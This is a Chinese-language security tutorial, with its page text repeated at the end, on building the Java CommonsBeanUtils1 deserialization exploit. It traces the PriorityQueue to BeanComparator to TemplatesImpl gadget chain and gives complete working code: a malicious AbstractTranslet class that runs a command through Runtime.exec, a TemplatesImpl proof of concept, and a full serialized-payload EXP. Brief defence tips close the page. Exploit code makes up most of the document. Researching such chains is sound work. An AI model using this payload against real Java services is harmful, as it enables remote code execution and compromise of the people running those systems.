Java CommonsBeanUtils1 反序列化手写 EXP
字数 1188 2025-08-12 11:34:02

Java CommonsBeanUtils1 反序列化漏洞分析与利用

0x01 前言

CommonsBeanUtils 反序列化漏洞链在后续的漏洞利用中非常重要,特别是在 Shiro 和 Fastjson 等框架的漏洞利用中。本教程将详细讲解如何手写 CommonsBeanUtils1 的反序列化 EXP。

0x02 环境准备

  • JDK 8(不受版本影响)
  • 依赖库:
<dependency>
    <groupId>commons-beanutils</groupId>
    <artifactId>commons-beanutils</artifactId>
    <version>1.9.2</version>
</dependency>
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
</dependency>
<dependency>
    <groupId>commons-logging</groupId>
    <artifactId>commons-logging</artifactId>
    <version>1.2</version>
</dependency>

0x03 CommonsBeanUtils 简介

Apache Commons BeanUtils 主要用于操作 JavaBean(具有 getter/setter 方法的实体类)。核心功能是通过 PropertyUtils.getProperty() 方法调用任意 JavaBean 的 getter 方法。

示例 JavaBean:

public class Baby {
    private String name = "Drunkbaby";
    
    public String getName(){
        return name;
    }
    
    public void setName(String name) {
        this.name = name;
    }
}

调用示例:

import org.apache.commons.beanutils.PropertyUtils;

public class CBMethods {
    public static void main(String[] args) throws Exception {
        System.out.println(PropertyUtils.getProperty(new Baby(), "name"));
    }
}

0x04 漏洞链分析

1. 漏洞链尾部 - TemplatesImpl 利用

利用 TemplatesImpl 动态加载字节码的攻击链:

TemplatesImpl#getOutputProperties() 
→ TemplatesImpl#newTransformer() 
→ TemplatesImpl#getTransletInstance() 
→ TemplatesImpl#defineTransletClasses()
→ TransletClassLoader#defineClass()

getOutputProperties() 是一个 public 的 getter 方法,可以通过 PropertyUtils.getProperty() 调用。

2. 中间链 - BeanComparator.compare()

BeanComparator.compare() 方法会调用 PropertyUtils.getProperty()

  • 如果 property 属性为空,直接比较两个对象
  • 如果 property 不为空,则用 PropertyUtils.getProperty 获取属性值比较

3. 入口类 - PriorityQueue

完整调用链:

PriorityQueue.readObject()
→ PriorityQueue.heapify() 
→ PriorityQueue.siftDown() 
→ PriorityQueue.siftDownUsingComparator() 
→ BeanComparator.compare() 
→ PropertyUtils.getProperty(TemplatesImpl, "outputProperties") 
→ TemplatesImpl.getOutputProperties()
→ TemplatesImpl.newTransformer()
→ TemplatesImpl.getTransletInstance()
→ TemplatesImpl.defineTransletClasses()

0x05 EXP 编写

1. 恶意字节码类

需要继承 AbstractTranslet

package src.DynamicClassLoader.TemplatesImplClassLoader;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class TemplatesBytes extends AbstractTranslet {
    public void transform(DOM dom, SerializationHandler[] handlers) throws TransletException {}
    public void transform(DOM dom, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
    
    public TemplatesBytes() throws IOException {
        super();
        Runtime.getRuntime().exec("Calc");
    }
}

2. 基础 POC

package src.DynamicClassLoader.TemplatesImplClassLoader;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class TemplatesRce {
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("E:\\JavaClass\\TemplatesBytes.class"));
        
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "Calc");
        setFieldValue(templates, "_bytecodes", new byte[][] {code});
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        
        templates.newTransformer();
    }
    
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

3. 完整 EXP

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CB1FinalEXP {
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("E:\\JavaClass\\TemplatesBytes.class"));
        
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "Calc");
        setFieldValue(templates, "_bytecodes", new byte[][] {code});
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator beanComparator = new BeanComparator();
        
        // 创建队列并添加初始值
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
        queue.add(1);
        queue.add(1);
        
        // 通过反射修改属性
        setFieldValue(beanComparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{templates, templates});
        
        // 序列化和反序列化
        serialize(queue);
        unserialize("ser.bin");
    }
    
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

0x06 关键点总结

  1. TemplatesImpl 利用

    • 需要设置 _name_bytecodes_tfactory 属性
    • 恶意类必须继承 AbstractTranslet
  2. BeanComparator 利用

    • 通过设置 property 属性为 "outputProperties" 来触发 getter 调用
    • 使用反射修改私有属性
  3. PriorityQueue 构造

    • 初始添加两个相同值避免比较时抛出异常
    • 通过反射替换队列中的实际对象
  4. 序列化控制

    • 确保序列化时不触发代码执行
    • 反序列化时才触发漏洞

0x07 防御建议

  1. 升级 Commons BeanUtils 到最新版本
  2. 对反序列化操作进行严格限制
  3. 使用安全管理器限制危险操作

0x08 参考资料

  1. JavaBean 介绍 - 廖雪峰
  2. Apache Commons BeanUtils 官方文档
Java CommonsBeanUtils1 反序列化漏洞分析与利用 0x01 前言 CommonsBeanUtils 反序列化漏洞链在后续的漏洞利用中非常重要,特别是在 Shiro 和 Fastjson 等框架的漏洞利用中。本教程将详细讲解如何手写 CommonsBeanUtils1 的反序列化 EXP。 0x02 环境准备 JDK 8(不受版本影响) 依赖库: 0x03 CommonsBeanUtils 简介 Apache Commons BeanUtils 主要用于操作 JavaBean(具有 getter/setter 方法的实体类)。核心功能是通过 PropertyUtils.getProperty() 方法调用任意 JavaBean 的 getter 方法。 示例 JavaBean: 调用示例: 0x04 漏洞链分析 1. 漏洞链尾部 - TemplatesImpl 利用 利用 TemplatesImpl 动态加载字节码的攻击链: getOutputProperties() 是一个 public 的 getter 方法,可以通过 PropertyUtils.getProperty() 调用。 2. 中间链 - BeanComparator.compare() BeanComparator.compare() 方法会调用 PropertyUtils.getProperty() : 如果 property 属性为空,直接比较两个对象 如果 property 不为空,则用 PropertyUtils.getProperty 获取属性值比较 3. 入口类 - PriorityQueue 完整调用链: 0x05 EXP 编写 1. 恶意字节码类 需要继承 AbstractTranslet : 2. 基础 POC 3. 完整 EXP 0x06 关键点总结 TemplatesImpl 利用 : 需要设置 _name 、 _bytecodes 和 _tfactory 属性 恶意类必须继承 AbstractTranslet BeanComparator 利用 : 通过设置 property 属性为 "outputProperties" 来触发 getter 调用 使用反射修改私有属性 PriorityQueue 构造 : 初始添加两个相同值避免比较时抛出异常 通过反射替换队列中的实际对象 序列化控制 : 确保序列化时不触发代码执行 反序列化时才触发漏洞 0x07 防御建议 升级 Commons BeanUtils 到最新版本 对反序列化操作进行严格限制 使用安全管理器限制危险操作 0x08 参考资料 JavaBean 介绍 - 廖雪峰 Apache Commons BeanUtils 官方文档